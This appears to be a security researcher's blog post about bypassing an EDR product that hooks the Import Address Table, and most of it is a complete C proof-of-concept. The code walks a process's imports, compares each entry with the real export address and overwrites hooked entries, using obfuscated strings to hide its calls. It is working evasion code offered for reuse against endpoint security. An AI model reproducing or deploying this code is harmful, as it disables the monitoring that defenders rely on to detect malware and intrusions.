Unhook the Import Address Table
Damn my Import Address Table is hooked!
One day at work, I was trying to bypass an EDR and I noticed something interesting.
The EDR I was trying to bypass wasn’t hooking the DLL in their code with jmp
instruction like other EDRs in user-land.
In this case, it was hooking directly the Import Address Table. This technique makes the usual move like live-patching, or erasing the loaded DLL with one freshly loaded from disk useless.
I had to unhook the Import Address Table of my process.
Hooks : Technique used to redirect the execution flow of a legitimate API to a portion of code controlled by the attacker/AV/EDR. Usually done by writing a
jump
in the legitimate API code or by replacing API function addresses in the Import Address Table.
Import Address Table : Structure in the PE format containing (when loaded) the adresses of every external function imported in the program. In a nutshell it look like this: If you’re not familiar with this topic, I highly recommend to read this awesome article or if you don’t have time, this super clear stackexchanged answer.
Unhook it!
Long story short, I coded this proof-of-concept allowing me too unhook my Import Address table:
#include <winternl.h>
#include <windows.h>
#include <stdio.h>
#include <stdbool.h>
#include <dbghelp.h>
#pragma comment (lib, "dbghelp.lib")
//coded by xalicex
//Twitter : @AliceCliment
void UnhookIAT() {
ULONG size;
DWORD i, j, x;
DWORD oldProtect = 0;
BOOL found = false;
int sizetab;
LPVOID TrueRVA;
unsigned char xKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0 };
unsigned char xVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0 };
typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) xKernel32), (LPCSTR) xVirtualProtect);
// get Base address of the PE
HANDLE baseAddress = GetModuleHandle(NULL);
// get Import Table of PE
PIMAGE_IMPORT_DESCRIPTOR importTbl = (PIMAGE_IMPORT_DESCRIPTOR) ImageDirectoryEntryToDataEx(
baseAddress,
TRUE,
IMAGE_DIRECTORY_ENTRY_IMPORT,
&size,
NULL);
int nbelement = (size/20)-1;
for (i = 0; i < nbelement ; i++){
//Get name of the DLL in the Import Table
char * importName = (char *)((PBYTE) baseAddress + importTbl[i].Name);
printf("DLL name in IAT : %s\n",importName);
//Get Import Lookup Table (OriginalFirstThunk) and Import Address Table (FirstThunk)
PIMAGE_THUNK_DATA thunk = (PIMAGE_THUNK_DATA) ((PBYTE) baseAddress + importTbl[i].FirstThunk);
PIMAGE_THUNK_DATA originalFirstThunk = (PIMAGE_THUNK_DATA) ((PBYTE) baseAddress + importTbl[i].OriginalFirstThunk);
PIMAGE_IMPORT_BY_NAME function = NULL;
char* functionName;
//Parse DLL loaded in memory to retrieve various info
const LPVOID BaseDLLAddr = (LPVOID)GetModuleHandle((LPCSTR)importName);
PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) BaseDLLAddr;
PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) BaseDLLAddr + pImgDOSHead->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pImgExpDir =(PIMAGE_EXPORT_DIRECTORY)((LPBYTE)BaseDLLAddr+pImgNTHead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD Address=(PDWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfFunctions);
PDWORD Name=(PDWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfNames);
PWORD Ordinal=(PWORD)((LPBYTE)BaseDLLAddr+pImgExpDir->AddressOfNameOrdinals);
//loop through all function in the lookup table for the current dll
while (originalFirstThunk->u1.AddressOfData != NULL){
function = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)baseAddress + originalFirstThunk->u1.AddressOfData);
functionName = function->Name;
sizetab = 7;
//Avoid those function or I'll crash
char* exclude[]= {"EnterCriticalSection","LeaveCriticalSection","DeleteCriticalSection","InitializeSListHead","HeapAlloc","HeapReAlloc","HeapSize"};
for (x = 0; x < sizetab ; x++){
if(_stricmp(functionName, exclude[x]) == 0){
found = true;
}
}
if(!found)
{
//Get RVA from DLL loaded in memory
for(j=0;j<pImgExpDir->NumberOfFunctions;j++){
if(!strcmp(functionName,(char*)BaseDLLAddr+Name[j])){
TrueRVA = (PVOID)((LPBYTE)Address[Ordinal[j]]);
break;
}
}
//Compute real address
uintptr_t moduleBase = (uintptr_t)BaseDLLAddr;
uintptr_t RVA = (uintptr_t)TrueRVA;
uintptr_t* TrueAddress = (uintptr_t*)(moduleBase + RVA);
PROC * currentFuncAddr = (PROC *) &thunk->u1.Function;
if(*currentFuncAddr != (PROC)(TrueAddress)) {
oldProtect = 0;
VirtualProtect_p((LPVOID) currentFuncAddr, 8, PAGE_READWRITE, &oldProtect);
printf("Bad News ! Function %s is hooked ! Address is %x and it's suppose to be %x \nUnhook like the captain !\n",functionName, *currentFuncAddr, TrueAddress);
*currentFuncAddr = (PROC)(TrueAddress);
VirtualProtect_p((LPVOID) currentFuncAddr, 8, oldProtect, &oldProtect);
}else{
printf("Good news ! Function %s is not hooked :D\n",functionName);
}
}
++originalFirstThunk;
++thunk;
found = false;
}
}
}
int main(void) {
UnhookIAT();
return 0;
}
The code is available on my GitHub repository or in this very cool repo containing many interesting snippets related to EDRs and hooking.